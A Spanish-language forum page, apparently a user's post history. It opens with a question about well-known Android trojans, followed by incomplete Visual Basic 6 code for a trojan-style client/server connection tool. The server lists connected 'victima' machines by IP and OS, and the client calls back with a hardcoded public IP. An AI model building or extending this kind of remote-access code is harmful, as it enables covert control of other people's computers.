Buenas,
¿Alquien sabe si existe algún troyano para dispositivos android? En caso de que si, ¿Cuales son los más famosos?
Un saludo.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
dim var1 as string, var2 as string
var1 = "6801|127.0.0.1¤"
var2 = "127.0.0.1¤"
if var1 = * & var2 then
msgbox "funciona"
end if
var1 = "6801|127.0.0.1¤6802|192.168.0.1¤6803|192.168.1.3¤"
lee hasta "|", es igual a 6802?
no
guardalo y lee hasta "¤" es igual a 6802?
no
guardalo y lee hasta "|", es igual a 6802?
si
no guardes hasta "¤"
Dim Index As Integer
Dim i As Integer, filedata2 As String, filesize As Long
Dim cuenta As Integer, conexiones As Integer, conx() As Integer
Private Sub Command1_Click()
Open "d:\txt.txt" For Binary As #1
filedata2 = Input(LOF(1), 1)
Close #1
filesize = Len(filedata2)
ws(1).SendData "oye" & filesize
error:
End Sub
Private Sub Form_Load()
ws(0).LocalPort = 69
ws(0).Close
ws(0).Listen
'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ListView1.View = lvwReport
With ListView1.ColumnHeaders
.Add , , "nº", 330, 0
.Add , , "Pc", 1700, 2
.Add , , "Ip", 1700, 2
.Add , , "Ping", 740, 2
.Add , , "Versión", 700, 2
.Add , , "S.O", 770, 2
End With
Me.ListView1.GridLines = True
'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
End Sub
Private Sub ListView1_ItemClick(ByVal Item As MSComctlLib.ListItem)
On Error GoTo error
Dim lol As Integer
Shell (App.Path & "\cliente241.exe " & Item + 6900), vbNormal
Espera (2)
ws(Item).SendData "ñconñ" & Item + 6900
'lol = Item
'ListView1.ListItems.remove (lol)
'lol = 1
'iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
'bucle:
'If lol <> Me.ListView1.ListItems.Count Then
'Me.ListView1.ListItems.Item(lol) = lol
'lol = lol + 1
'Else
'Me.ListView1.ListItems.Item(lol) = lol
'GoTo sal
'End If
'GoTo bucle
'sal:
'fffffffffffffffffffffffffffffffffffffffff
error:
End Sub
Private Sub ws_ConnectionRequest(Index As Integer, ByVal requestID As Long)
ws(Index).Close
ws(Index).Accept requestID
Text2.Text = "Conectado" & Index
End Sub
Private Sub ws_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim datos As String, dato As Variant
ws(Index).GetData datos
Text1.Text = Text1.Text & datos & vbCrLf
If datos = "ok" Then
i = i + 1
Load ws(i)
datos = Index + 6800
ws(i).LocalPort = datos
ws(i).Close
ws(i).Listen
ws(0).SendData "cone" & datos
End If
If Left(datos, 2) = "ya" Then
ws(0).Close
ws(0).Listen
'ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
dato = Split(datos, "ñ")
With Me.ListView1.ListItems.Add(, , i)
.SubItems(1) = dato(1)
.SubItems(2) = dato(2)
.SubItems(3) = dato(3)
.SubItems(4) = dato(4)
.SubItems(5) = dato(5)
End With
End If
End Sub
Dim archivo As String, por As String, cion As Long, copon As Long
Private Sub Form_Load()
ws.RemotePort = 69
ws.RemoteHost = "127.0.0.1"
End Sub
Private Sub Timer2_Timer()
If (ws2.State <> 7 And ws3.State <> 7) Then
ws.Close
ws.Connect
End If
End Sub
Private Sub ws_Connect()
ws.SendData "ok"
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 4) = "cone" Then
datos = Mid(datos, 5)
ws2.Close
ws2.RemotePort = datos
ws2.RemoteHost = "127.0.0.1"
ws2.Connect
GoTo error
End If
error:
End Sub
Private Sub ws_Close()
ws.Close
End Sub
Private Sub ws3_Close()
ws3.Close
End Sub
Private Sub ws2_Connect()
ws2.SendData "yañvictimañ217.127.184.212ñ234ñ2.4ñon"
End Sub
Private Sub ws2_DataArrival(ByVal bytesTotal As Long)
Dim dato As String
ws2.GetData dato
If Left(dato, 5) = "ñconñ" Then
ws3.RemotePort = Right(dato, Len(dato) - 5)
ws3.RemoteHost = "127.0.0.1"
ws3.Close
ws3.Connect
ws2.Close
End If
End Sub
el cliente es solo un programa que escucha por el puerto que le digas y acepta la conexion